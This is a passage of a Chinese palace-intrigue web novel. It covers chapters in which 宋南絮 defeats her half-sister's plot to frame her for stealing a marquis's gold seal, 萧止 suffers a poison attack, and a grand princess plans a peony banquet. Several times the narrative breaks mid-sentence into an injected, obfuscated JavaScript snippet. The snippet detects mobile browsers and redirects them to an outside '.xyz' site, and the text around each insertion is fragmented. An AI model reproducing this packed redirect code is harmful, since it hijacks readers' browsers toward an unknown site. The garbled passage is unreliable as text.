“哦?”宋南絮神情慵懒地抬了抬眼:“所以,你这个养女便怀疑到了我这位安远侯府嫡女的身上了么?” 她开口闭口‘养女’、‘嫡女’这让宋涵烟心里十分恼火。 凭什么,同为安远侯府的小姐,她宋南絮就是嫡出千金,而自己就是见不得光的外室所出,还要以养女的身份入府。 “长姐,我这么做也是为了府里……” “啪!” 宋涵烟的话还没说完,宋南絮倏然抬手,猛地一记耳光又快有准,竟将她的脸打得偏到了一边。 宋涵烟猛然抬起了头:“你敢打我?!” “呵!”宋南絮语气平淡,显然是为将她放在眼里:“不过是得了侯府五年的照料,莫不是忘了自己的身份!” 她举步逼近了宋涵烟:“记住,这里是安远侯府,我父亲是安远侯,我母亲是侯夫人,这府中的一切都是我安远侯府所有,我告诉你,这府里的东西我想拿便拿!” 宋涵烟猛然抬头。 她恨不能将一口银牙咬碎。 父亲和崔氏的宠了她五年,渐渐地让她忘记了来时路。 宋南絮回府时,需要在宋萧然和崔氏的面前做小伏低,至于宋涵烟,她压根就没放在眼中。 宋涵烟深吸了一口气,硬生生地涌上来的怨毒吞了回去:“长姐方才说,侯府的一切都是你的,你想拿便拿,这么说来,你是承认了父亲的安远侯印是你拿的了?!” 她怎么也没想到府里丢失的东西竟然会是宋萧然的侯爵金印。 宋涵烟能够带人在府内大肆搜查,原来是都是了侯爵金印! 侯爵金印丢失等同于城池失守! 轻则抄家流放,重则人头不保! 宋南絮倒是好奇了起来,到底是什么人**了安远侯府的金印? 只是宋南絮思忖的一个瞬间,面前的宋涵烟立马变了态度,原本那不可一世、盛气凌人的模样,瞬间变成了楚楚可怜的小白花。 她垂下了眸子,眼泪悬于睫羽之上,似坠非坠,贝齿轻咬下唇,做足了一副忍屈含悲的模样:“长姐,妹妹只是替父亲着急,丢失侯爵金印事关安远侯府满门,若是姐姐拿了父亲的金印,只要姐姐肯交还于父亲……” 说话间,宋涵烟的目光朝着宋南絮的身后瞟了一眼。 前后判若两人! 即便宋南絮不用回头,也知道定然是宋萧然来了。 “宋南絮,当真是你拿走了侯爵金印?!” 转过头,宋南絮就见到了一脸寒霜的宋萧然龙行虎步飞快上前,没有给她丝毫辩解的机会,一把扼住了她的手腕,用力往自己的身前一拽:“速速将金印还回来!!” “父亲……” 宋南絮刚要开口,身侧的宋涵烟立即上前,满脸委屈,声音哽咽地道:“父亲,方才长姐说咱们侯府的一切都是她的,她想拿便拿,您瞧瞧,我只不过是让人询问两句,谁知道,长姐身边的女使竟将白妈妈打成了这个样子!” 宋萧然顺着她手指的方向看了一眼,脸色瞬间沉入谷底。 他用力地眯了一下眼,声音低沉而沙哑:“我知道将你送去庵堂你心有不满,自你回家以来,府中祸事连连,你可知**侯爵金印是何重罪!?” “是呀,长姐,父亲、母亲体恤你在外五年的不易,为人子女的,自当以孝悌为先,丢失金印关乎安远侯府满门性命,你不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15592042|171445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能为了一己私欲,陷父亲于不义,将侯府至于险境啊!” 从始至终,宋南絮未发一言,这父女二人,你一言,我一语,这便是要做实了她**侯爵金印的罪名! “父亲。” 宋南絮挣开了宋萧然的手,不卑不亢地站在他的面前,眼眸之中没有丝毫的退缩,就那么直直地凝视着他的眼睛:“您当真觉得金印是女儿拿的?!” “速速将金印交出来!!” 宋萧然怒火冲上了头顶。 丢失金印兹事体大,宋萧然是宁可错杀,也绝不放过。 幸得此事发现的及时,现在可以按在府内,倘若有人将此事泄露出去半字,以侯府现在的处境,宋萧然只怕是要—— “交出来!这后果你承担不起!!” 宋萧然紧咬牙关,硬生生地牙缝之中挤出一句话来。 宋南絮依旧是一副云淡风轻的模样,只淡淡地说:“金印不是我拿的。” 宋涵烟立即开口:“父亲、母亲已经着人在侯府搜了一个遍,只剩下了姐姐的墨香居,和老太太的荣安堂没有搜过了。” 宋南絮侧目,冷冽的目光如刀,狠狠地刮在了宋涵烟的脸上。 她的言下之意,除了自己就是祖母了! 宋涵烟眼珠子在眼眶之中转了转,立即改口说:“老太太年事已高,且足不出门,她要这金印有何用?倒是长姐,你当真就不怨恨父亲、母亲将你送进庵堂么?” “呵!” 宋南絮冷然一笑。 话说到她这个份上,不是明摆着告诉所有人,是因为自己心怀怨恨,偷了侯爵金印来报复宋萧然么。 “瞧你这话说的。” 宋南絮勾起了唇角:“父亲丢失金印,牵扯侯府满门,倘若东窗事发,我又岂能独善其身?” “话虽如此,可难保长姐不会破釜沉舟啊!” 宋南絮缓缓地抬起了手,轻轻地抚了抚云鬓:“既然,你说只有我墨香居没搜过,那边由父亲亲自带人去搜上一搜,是不是我偷了父亲的金印不就一目了然了么!” 第60章 找到了,找到了 “父亲,既然长姐都这么说,那不如咱们就带着墨香居搜上一搜,也好还长姐一个清白,不知父亲意下如何?” 宋涵烟明白是在帮衬着宋南絮说话,但,其中的意思—— 宋南絮微微眯了一下眸子。 现下,墨香居中除了还有刚从人牙子处买来的两个小丫头,便只剩彩玉、翠珠、翠柳和青雀,倘若宋涵烟真的做了手脚,便变故只能是出在两个丫头和彩玉的身上。 莫非—— 宋涵烟朝着宋南絮笑,眉眼中满是算计:“长姐,父亲不愿冤了你,这是在给你机会呐,你可得好好珍惜才是!” 宋南絮隐约察觉到不对之处。 可是,一时间却又想不通是哪里有猫儿腻!、 她只是觉得自打一进门,自己就掉进了宋涵烟编织的网中! 宋萧然目光阴骘,面沉似土,思忖片刻,缓缓开口:“既然如此,那便搜上一搜,是人是鬼须臾便知!” 随即,宋南絮便如同一个犯人似的,在宋萧然的注视下,带着众人去往了她居住的墨香居。 “姑娘……” 翠珠、翠柳瞧见了这阵仗,立马上前询问情况:“这是——” 宋南絮刚要开口。 却倏然听见一旁的宋涵烟道:“长姐,我奉劝你还是不要多说话了,以免有串供的嫌疑!” 串供?! 嫌疑?! 翠珠和翠柳相视一眼,二人皆瞪大了双眼。 翠珠立即抬眸看向宋涵烟:“你这是何意?!” “哼!”宋涵烟脸色倏地一沉,冷哼了一声,极是不悦地道:“长姐,这便是你教出来的女使么?竟然敢在主人家的面前说什么你啊我的!?来人!” 宋涵烟一边说一边朝着身后跟来的粗使婆子挥了挥手:“将这没有规矩的女使拿下,寻个人牙子来……” “谁敢!” 不待宋涵烟把话说完,宋南絮倏然开了口。 她冷眸环视欲要上前的婆子们,将一张张面孔牢记于心,从这一刻起,这些人在她的心中已经和死亡划上了等号! “父亲……” 宋涵烟立即拉住了宋萧然的胳膊,贝齿紧咬下唇,只是眨眼的工夫,她的眼里已经蓄满了泪水,仿佛下一瞬就要哭出来了似的:“女儿只不过是想要帮长姐管教下人……” 宋南絮给翠珠、翠柳二人使了眼色,她们立即站在了她的身后:“她们是老夫人指给我用的一等女使,想要动她们,你也要问问老夫人的意思!!” 宋南絮的话立马堵住了宋涵烟的嘴巴。 老太太不待见宋涵烟,这是阖府都知道的事,就算是借她一百个胆子,她也不敢去动老夫人身边的人。 “够了!” 闹了这么半天,宋萧然总算是开了口。 冷冽的目光落在宋南絮的身上,宋萧然冷声问道:“我再给你一次机会,倘若你交出金印,我自当今日之事没有发生过,可以既往不咎,若是当真在墨香居中搜出来的话——” 他的话只说了一半,然后用力地眯了一下眼。 言下之意,已经十分明了。 宋南絮倏地笑了一声:“父亲已经弃我一次,难道,还要将我送出府?这次是庵堂?还是家庙?还是彻底将我逐出府去?” “你……” 宋萧然的瞳仁倏地一缩。 在这件事情上,他自觉得理亏。 但,这和整个安远侯府比起来,即便舍弃一个女儿,他也在所不惜! 宋萧然并没有再说什么,只是对贾荣、薛宝瑞和庞大使了个眼色。 三人会意,立即带着人开始搜起了墨香居。 宋南絮就站在院子中瞧着。 那密室—— 她眼瞧着薛宝瑞带人进了内室,下意识地蹙起了眉。 宋涵烟的目光也始终落在薛宝瑞的身上,看着他进了墨香居内室里间,她的嘴角微微上扬,勾起了一抹狡黠的弧度。 她缓缓地转过头,微微扬起了下巴,阴骘的目光像是一条充满剧毒的蛇,朝着宋南絮突出了蛇信。 宋涵烟已经安排了,只要薛宝瑞打开宋南絮的妆台屉子就能—— 蓦然之间,她的瞳孔猛地一缩,透过敞开的窗子,宋涵烟眼睁睁地看着薛宝瑞打开了宋南絮的妆台屉子,在里面翻找了一遍,结果却是什么都没有找到! 怎么会?! 自己明明已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15592043|171445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安排好了的! 为什么会没有呢?! 宋南絮关注的却是那间密室。 今日之事,若不搜自己的院子,只怕会闹个没完。 这是当下最直接的法子。 倘若就算是被发现了那间密室,宋南絮也有说辞,她不过是刚刚回府,从前又不曾来过这墨香居,自然也不会知道这里有什么密室。 唯一的一点—— 宋南絮微一蹙眉,恐怕以后再从密室去飘絮庐就难了。 思及此,宋南絮猛然一惊! 好好的,自己为什么会这么想?! 她立即收敛了心神,目光专注地看着薛宝瑞。 眼瞧着薛宝瑞一步步地走到了自己的绣床前,即将触碰被褥时,忽然,崔氏扶着田妈妈的手急急赶来:“侯爷,找到了,找到了。” “找到了!?” 宋萧然面色一喜,立即转头看向崔氏。 崔氏面带喜色,将侯爵金印捧到了宋萧然的面前:“侯爷,您瞧,这不正是您的金印么!” 宋萧然从崔氏的手中接过了金印,仔细地瞧了瞧:“果然没错,这正是我的金印!夫人,你是在哪里找到这枚金印的?” 崔氏来得急,喘匀了气才道:“是在老爷的内书房里的卷宗下面找到的。” “内书房?!” 和宋萧然同样的震惊的还有宋涵烟。 宋涵烟几乎是下意识地脱口而出:“这不可能!” 宋南絮精准地捕捉到了宋涵烟言语上的错漏:“妹妹怎知不可能?莫非,你去过父亲的内书房?还是说,你早就已经知道父亲的侯爵金印到底藏在了什么地方?” “我……” 两个问题,一瞬间让宋涵烟不知道应该如何回答。 宋萧然有领,不允许任何人踏进内书房半步,崔氏进了他的内书房,又是在卷宗下面找到的金印,已经让他十分不满,若是宋涵烟去过的话—— 间宋涵烟迟迟不肯回答自己的话,宋南絮朝她微一挑眉:“怎么?妹妹是不知道要如何回答我的问题了么?” 宋萧然微眯了眸子,眉心深凝,一瞬不瞬地看着宋涵烟,同样的,他也在等着宋涵烟的回答。 第61章 顺手帮忙,无需谢我 “我……我……” 宋涵烟支支吾吾,却始终不敢回答。 在安远侯府五年时间,宋涵烟十分了解宋萧然的脾气,也知道他将侯府看得比什么都重要,倘若当真丢了金印,势必会让他勃然大怒。 原以为自己做的滴水不漏,可以将丢失金印栽赃在宋南絮的身上,但却没想到—— 宋涵烟更是想不通,她明明将金印放在了宋南絮妆台屉子里,为什么会出现在父亲内院书房之中?! 眼珠子在眼眶之中转了转,宋涵烟脑袋中急速地想着要如何回答。 但,宋萧然可没有了耐性。 他冷冷地扫了一眼宋涵烟,声音低沉且冰冷:“怎么?你没听见你长姐的话么?” 宋涵烟低垂着眉眼:“女儿……女儿只是猜测而已,倘若父亲的金印当真在内院书房,父亲又怎么会不记得了呢?” 宋萧然闻言,眸色阴沉的同时,他下意识地皱起了眉头。 的确,那枚侯爵金印他一项收在寝室暗格当中。 冷静下来的宋萧然,立即想到了一个问题。 这暗格是五年前宋南絮离开侯府之后他趁着崔氏回娘家时,命人暗中打造出来的,除了自己以外,就连崔氏都不曾见过。 宋南絮才刚刚回府几日,她绝对不可能知道金印收在何处。 那—— 糟了!! 宋萧然心疼猛地一沉,也顾不上在这里断家里的官司,脚步飞快地朝内书房狂奔而去。 崔氏见他离开,忙不迭地转过头,拉住了宋涵烟的手,轻轻地抚了抚:“烟儿,刚刚可有吓到你么?” 宋南絮就站在一边,崔氏仿佛没看见似的,满心满眼都只有宋涵烟。 金印一事,宋涵烟失算了,没能弄死宋南絮。 瞧着崔氏对自己的关切,宋涵烟立马委屈了起来,扑进了崔氏的怀抱中,小女儿家撒娇似的哭诉:“母亲,刚刚可吓死我了,我还以为是长姐……” 她一边哭一边说一边抬眸看向宋南絮。 眼底里的挑衅满溢而出。 宋南絮却丝毫不在意。 反而,她更希望崔氏能多疼爱宋涵烟,这样等崔氏知道了答案后才更有看头不是。 墨香居闹成了这样,崔氏恍若不见,只一门心思的关心呵护着宋涵烟,就连一旁的翠珠都看不下去了。 “夫人,刚刚受了冤屈的可是我们家姑娘!” 有了翠珠的提醒,这才让崔氏想起了还有一个女儿。 崔氏抬起头,脸上的表情尴尬极了,一时间,竟是不知道自个儿应该说些什么才好:“絮儿……” 宋南絮冷然讥笑,侧过了身子,朝着墨香居外做了一个请的手势:“母亲既然如此关心疼爱妹妹,还不赶紧请个郎中来给她瞧瞧,莫不要吓坏了母亲的心肝宝贝才是。” 说完,她径直掠过了崔氏,朝着墨香居主屋走去。 崔氏想要追上去解释,可是忽然,她怀中的宋涵烟身子一软,直直地昏倒在了她的怀中。 这下子,崔氏的心思都偏到了宋涵烟的身边,两忙招呼身边的仆妇、女使:“你们都杵在这里作甚?没有瞧见小姐晕倒了么?还不快去请大夫!” 果然—— 宋南絮驻足侧目,目光冷淡地瞥了一眼崔氏。 渐渐地,她的唇角上扬,再上扬,勾起了一抹冷凝的弧度。 进了房中,丫头们将被翻乱的房间规制拾掇利索。 宋南絮只留下了青雀一人,其余人都退出了房中。 她看着梳妆台,微微地眯起了眼睛,今日之事,她总觉得没那么简单。 宋涵烟安排了这么一场戏,不应该潦草收场才是,难道—— 目光触及到了绣床。 宋南絮隐约感觉这事和萧止脱不了关系。 她开口对青雀吩咐道:“你在这里守着,别让任何人进来。” “是。” 随后,宋南絮便打开了密室,前往飘絮庐。 果不其然,萧止像是知道她会来似的,提前烹好了茶,摆放上了几碟子精致的糕饼,看见宋南絮走进了门,他笑笑道:“我还以为你会要再耽搁些时辰,没想到这么快就搞定了你那庶妹了。” 他说的是庶妹, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15596757|171445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而非养妹,显然他是知道宋涵烟**的。 “是你将那金印放进我父亲的内书房的?” 萧止朝着自己对面的蒲团瞟了一眼:“累了吧,你上次说喜欢着寿眉茶的味道,我便烹了此茶,还有这糕饼,陶然楼刚刚出炉的芙蓉莲子糕,配着寿眉茶味道相得益彰,你尝尝味道可还喜欢。” 闹了这么一场,宋南絮的确有点累了。 她俯身坐在了萧止的对面,任由着这位权倾朝野,只手遮天的奸相佞臣给自己斟茶拿点心。 宋南絮轻啜了一口茶,又尝了尝陶然楼中赫赫有名的芙蓉莲子糕。 的确如萧止所说那般,味道相得益彰。 “味道不错。” 见她喜欢,萧止笑笑:“我命人买了些,等会你回去也带给老夫人尝尝。” 宋南絮放下了手中的茶盏,抬眸望着萧止:“你是如何发现宋涵烟要陷害我**我父亲金印的?” 萧止望向宋南絮:“原本是打算给你送点糕饼的,却不曾想,这么巧合的撞见了她欲栽赃陷害,我只是顺手帮了你一把,无需谢我。” 顺手帮了自己?! 宋南絮微微眯着眼,目光骤然变得锐利了起来:“你不是在帮我,你是在帮你自己,老实说来,我父亲的内书房里到底有什么东西,值得堂堂相爷大人要亲自探访?” 萧止笑得眉眼弯弯:“果然聪明!” 他将一块芙蓉莲子糕递给了宋南絮,说道:“我暂时还没有找到,等我找到后第一时间告诉你。” 宋南絮闻言,蹙起了眉头。 以萧止的能力,竟然未能找到他所要找的东西。 这更加让宋南絮好奇,宋萧然的内书房里到底有什么了!! 他并未如实相告,可见兹事体大,既然他没有确实的把握不能见此事告诉旁人,宋南絮也变没有继续追问,反而是问起了另一件事情来:“你是什么时候知道宋涵烟身份的?” 萧止:“五年前。” 宋南絮端起了茶盏,呷了一口茶,又问:“你可知宋萧然将宋涵烟生母藏在何处!?” 第62章 蛊毒发作,为他守护 “长乐坊,青花巷。” 这地界儿听起来十分耳熟。 哦! 对了! 听了萧止的话,宋南絮倒是忽然记起,崔氏的陪嫁当中倒是有这么一处宅子。 此处宅院原是宋南絮的外祖武安侯所有,崔氏作为武安侯的老来女极富宠爱,此处私宅只因崔氏年幼时的一句玩笑话,外祖父便豪掷千金将其买下,为崔氏种满了她喜爱的牡丹花。 自崔氏如愿嫁给了宋萧然后,便再没去过那处宅子,倒是每年安远侯府之中的牡丹花卉都是出自哪里。 宋南絮没想到,宋萧然竟然会将他的老相好和外室女安顿在崔氏的宅子里。 难怪上辈子,她在得知了宋涵烟的身份后,曾多番打听,却未曾有过任何的蛛丝马迹,这才让宋涵烟母女二人有了可乘之机。 而今—— 宋南絮抬眸看向窗外:“眼瞧着就快要入冬了,听闻牡丹中有一名贵品种,与其他种类截然不同,只在深秋盛开,故而称之为秋牡丹,恰巧,我母亲在长乐坊青花巷有一处宅院,培育了这种牡丹以供她赏玩,不知相爷可愿一见?” 闻言,萧止便明白了宋南絮言语之中的深意:“本相素来只喜欢淡雅的栀子,牡丹么——” 他略一思忖,唇角微微上扬,勾起了一抹浅淡的笑:“端淑大长公主好像喜欢。” 宋南絮端起了茶盏,敬于萧止:“那就劳烦相爷了。” 萧止却倏地抓住了宋南絮伸向他的胳膊,微一挑眉:“只一句‘麻烦’而已?” 宋南絮微微一怔。 想要抽回自己的胳膊,奈何力气不及萧止。 她抬起缀着颀长睫羽的双眸,眨了眨那双澄澈而明亮的眼眸:“放手!” 萧止并未放开,依旧目光深深地凝视着她。 宋南絮不知这男人发什么疯,好端端的竟然—— “嗯!” 她倏地闷哼一声:“你弄疼我了!” 萧止有一瞬间的恍惚,他像是不知自己刚刚做过了什么似的,竟瞧着自己握着宋南絮胳膊的手出了神。 他立即松开了手,满是歉意地道:“抱歉,我——” 萧止并未把话说下去,而是站了起来,朝门口抬起了手:“你的事,我自会安排,请便。” 这是下了逐客令?! 这男人还真是如传言那般——喜怒无常! 宋南絮并未多说什么,起身便朝门外走去。 “等等。” 眼瞧宋南絮即将走出房中,萧止忽然开口唤住了她:“为你准备了寿眉茶与糕饼。” 宋南絮瞥了一眼放置门口影壁匮上的食盒,再看看萧止,倏地想起刚刚他拉着自己胳膊时的轻佻模样,顿时没了兴趣:“相爷自己留用吧。” 说完,她便头也不回地走近了通往安远侯府的密室之中。 萧止站在原地,看着密室门缓缓关了起来,嘴角漾过了一丝苦笑。 下一瞬,他猛然单膝跪地,脑中犹如蚀骨之蛆不断蠕动,阵阵钻心的疼痛,让萧止精致的五官揪在了一块儿。 他紧咬着牙关,强忍着头痛,极力地压制着体内的蚀心蛊毒! 但,显然萧止还是低估了蚀心蛊毒的威力。 疼痛只是流于表面最浅薄的,紧接着,他开始不能够呼吸,然后是他的手脚开始不听使唤。 这种状态足足持续了一炷香的时间,再接下来,萧止开始出现了幻觉,直到神志不清。 与此同时,心底深处,一直有一个声音在呼唤他的名字。 萧止试图睁开眼睛,驱散眼前似氤氲一般的朦胧,可偏偏,任由着他如何挣扎却始终屋用。 渐渐地,萧止没有了力气,整个人晕倒在了一片狼藉之中。 不知过了多久,萧止隐约嗅到了一股能令人安神凝气的香味。 这是——朝露凝香! 长而浓密的睫羽微一颤,瞳仁微动,萧止眼帘微掀一线,模糊的视线逐渐变得清晰了起来。 “醒了?” 宋南絮坐在萧止身侧,一手托着香炉,一手轻轻将熏香扇向萧止。 “你……” 萧止开口,声音却沙哑地厉害。 宋南絮将香炉放下,斟了一盏寿眉茶递 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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萧止尴尬地笑了笑,连忙收回了自己的手,背在身后。 只是,掌心中宋南絮留下的余温却一点点的蔓延,一寸一寸的灼烧,渐渐,萧止竟当着宋南絮的面红了脸。 第63章 投靠,不见得 萧止竟然脸红了!? 宋南絮瞧他的模样,竟觉着像是峨眉山的猴屁股,忍不住笑出了声。 萧止连忙背过了身去,轻咳了一声道:“咳!蚀心蛊毒十分强悍,我定然是体内余毒未清,才会……” 他中蚀心蛊毒多年,一时难以压制毒性,可一想到,刚刚萧止握住自己手时—— 宋南絮也不禁红了脸。 她将手中白玉瓷瓶放下:“时候不早了,我回去了,你好生歇息。” 眼见宋南絮要走,萧止回过了身看着她渐行渐远的背影:“大长公主那里,我会帮你!” 宋南絮驻足,抬起了纤细的胳膊,隔空朝萧止挥了挥手:“谢了。” 端淑大长公主酷爱牡丹。 诗中有云:庭前芍药妖无格,池上芙蕖净少情。唯有牡丹真国色,花开时节动京城。 大长公主乃是神宗与先太后唯一的女儿,自是金陵城中最高贵的之人,自小她便觉得只有牡丹能配得上自己。 大长公主府内更是花匠无数,各色稀有的牡丹品种甚至比宫中都有过之而无不及。 每年深秋,端淑大长公主都会举办赏花宴,旁人这个节气赏得是秋菊,她偏偏另辟蹊径,请人到大长公主府赏牡丹。 眼下并非是牡丹花旗,大长公主此举是在告诉众人即便神宗与先太后不在,她依旧是这金陵城中最高贵的大长公主。 往年此时,端淑大长公主已经开始着手准备,差遣大长公主付的下人到各府送请柬,但今年却是例外。 只因一夜之间,大长公主府内的牡丹竟然离奇枯死。 赏花只是噱头。 而今,新皇继位,昔日需看她眼色的皇嫂而今成为后宫之主,她必须要做到尽善尽美,才能不被人小瞧了去。 赏花宴在即,偏偏满院没有一株牡丹。 端淑大长公主震怒:“来人,将花房的奴才全部带下去,杖杀!!” “殿下饶命……殿下饶命……” 大长公主府的花匠们跪了一地,“咚咚咚”磕头声此起彼伏。 这些下人在端淑大长公主的眼中不过是贱奴,是蝼蚁,怎配和她满院子稀有品种的牡丹花相提并论,**正好用做来年的花肥。 宇文胤珣匆匆赶来时,已有几人被拖了出来去:“母亲,何事如此动怒?” 见到了儿子,端淑大长公主的态度与之刚刚判若两人。 她严重怒意渐消,脸上蔓上了慈爱和煦的微笑:“珣儿,你今日怎地这般清闲,你那没心肝的父亲肯放你来看望母亲?” 宇文胤珣瞥了一眼地上跪着的花匠,朝大长公主身边的女官使了个眼色。 女官会意,连忙朝着花匠们摆了摆手。 端淑大长公主蹙起了眉头:“本宫有说绕过他们么?!” 宇文胤珣笑了笑:“母亲宅心仁厚,定然不会和这些奴才们计较,不过是些花卉而已,明日孩儿遍访金陵必然给母亲寻来最好的牡丹。” 端淑大长公主轻轻地拍了拍宇文胤珣的手,眼底的怒意散尽:“还是我儿最好,不像你父亲,不过是拌了几句嘴,本宫离府半月余,他都不说来瞧瞧本宫。” 宇文胤珣莞尔道:“父亲公务繁忙,再加上……” 他话只说了一半倏然辄止。 端淑大长公主蹙眉:“可是出了什么事?” 宇文胤珣看了一眼母亲身边的女官们。 端淑大长公主会意,轻轻挥了挥手。 须臾见,一群女官鱼贯而出,花房内只剩下了他们母子二人,端淑大长公主蹙了蹙眉:“到底出了何事,竟连母亲的近身女官都不能听的?” 宇文胤珣将宋南絮告知他的内容一五一十地讲给了母亲听。 “什么?!”端淑大长公主的脸色骤然一变:“安远侯府的小丫头?” “不错!” 她微微眯眼:“一个被安远侯当做弃子的女儿竟然知道本宫的事?” 倘若,端宁大长公主半路劫走为太后诊病的夏侯博一事被太后知晓,此事定然是为其埋下隐患。 而今来看,那日劫走夏侯博的人应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15604879|171445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该就是安远侯府的派来的。 一项看似不参与任何党争的安远侯,现在看来也并非是那么简单! 宇文胤珣道:“母亲,她说只代表自己,而非安远侯府。” “哦?!”端淑大长公主闻言,不由将眉心皱得愈发深邃:“代表自己而非安远侯府?!这么说来,她是有意要投靠本宫了?” “投靠?不见得!” 宇文胤珣道:“她以此想孩儿讨要了陶然楼三成利润。” “图财?”端淑大长公主眉尾一跳,漆黑的瞳眸闪过了一抹疑惑:“此为何讲?” 宇文胤珣:“孩儿并不知安远侯府其中内情,但瞧她行事,的确并不是为了宋侯。” “有趣,有趣。”端淑大长公主抬手,似是欣赏着艳红的蔻丹:“今天的牡丹花宴,你亲自去一趟安远侯府送上请柬,本宫倒是想要亲眼瞧瞧这有趣的丫头。” “是。” 提及牡丹花宴,端淑大长公主重重叹了一口气:“只怕今年花色要暗淡了,那宫中老妇岂不是要看本宫的笑话了!” “母亲多虑了。” 宇文胤珣自信满满地道:“孩儿听闻长乐坊青花巷有一处人家极是擅长种植牡丹,就连金陵城中少见的秋牡丹都有呢。” “当真?” 端淑大长公主闻言,面露惊喜之色:“秋牡丹只在江南一代倒是常见,只不过金陵城的气候却难以培育,本宫倒是好奇,到底是何人竟比得过公主府的花匠。” 宇文胤珣:“孩儿这就去拜访。” 端淑大长公主微笑颔首:“不管对方提出任何条件,需要多少银钱,自是不在话下,本宫要让那宫中老妇好好瞧瞧,即便没有了父皇、母后的庇护,本宫依旧是要风得风要雨得雨,是这金陵城中尊贵无比的大长公主!” 让宇文胤珣以外的是,他没想到这长乐坊青花巷的宅邸竟也是安远侯府所有。 事情似乎变得更为有趣了呢。 宇文胤珣拟了请柬,当日黄昏便亲自登上了安远侯府的门。 第64章 稍有不慎,万劫不复 “你说的是许国公府的那位小公爷?!” “是。” 庞大管事禀了宋萧然,许国公府的小公爷前来拜访。 一时,竟让宋萧然摸不着头绪。 安远侯府与许国公府素来没有交际,况且,许国公府明面上是宇文渊当家做主,整个金陵城中,谁人不知这位国公爷除了一副皮囊外一无是处,所以才会选择上主。 端淑大长公主不仅有权势,有野心,有手腕,倘若她是男儿身的话,只怕如今的天下是谁坐还不一定呢。 新帝继位端淑大长公主手中权柄不断被削弱,若不是有丞相左右朝局,恐怕—— 宋萧然眉心深凝,眸色潋滟晦暗。 从前安远侯府隐退锋芒独善其身,而今,出了宋昭在陶然楼中一事,安远侯府已经夹在皇帝于萧相之间,倘若再得罪了大长公主的话—— “快快有请。” “是。” 多不时,庞大引着宇文胤珣来到了侯府前厅:“小公爷请。” 宇文胤珣对庞大微笑点头,随即,举步跨过门槛,走进正厅当中。 即便他母亲是端淑大长公主,但,宋萧然毕竟与其夫宇文渊同辈,自然自持与安远侯身份。 宇文胤珣见坐在正厅中高脊红椅的宋萧然,合手作揖,恭敬地道:“小侄宇文胤珣拜见宋伯父。” 宋萧然微笑颔首,眸子里满是对后辈的赞赏,他微一抬手:“宇文公子请坐。” 他侧目看向一旁的小厮吩咐道:“给宇文公子看茶。” 宇文胤珣落座后,便有小厮奉上茶点。 宋萧然:“不知贤侄今日前来所为何事?” 自宇文胤珣进门开始,宋萧然一直在观察着他脸上的表情,直到确定他今日是带着目的性来到的安远侯府,他从方才的‘宇文公子’改为‘贤侄’。 宇文胤珣唇角微微上扬,轻浅一笑:“今日贸然拜访乃是受了家母的差遣特来给侯夫人与贵府小姐们送上大长公主府的赏花宴的请柬。” 端淑大长公主的赏花宴已举办了二十载,金陵城官眷无不向往。 但,安远侯府自老侯爷在世时便谢绝了端淑大长公主府的邀约。 宋萧然知晓往年都是端淑大长公主府的女使前往各府送请柬,宇文胤珣今日亲自登门送上请柬,可以说是京城之中独一份的存在。 这自然让宋萧然觉得面上有光。 他脸上的笑容好似花骨朵逐渐绽放:“不过是寻常小时而,怎还劳烦贤侄亲自走这一遭。” 宇文胤珣微微一笑,端得是一副翩翩佳公子模样:“家母敬重侯爷为人,虽未深交,却神往已久,昔日老侯爷在世时,不愿让贵府与皇族走动,以免攀上结党之名,现如今新帝掌权,家母已卸去监国之职,两家也应该恢复走动才是,故而,家母命我亲自送上请假,诚邀夫人与小姐参加赏花宴。” 宋萧然老谋深算,如泥鳅一般滑不留手,自是听出宇文胤珣话中之意。 其一:大长公主有意结交安远侯府。 其二:新帝掌握权柄,端淑大长公主已无有实权,就算是安远侯府前去参加赏花宴也不会被诟病。 然而—— 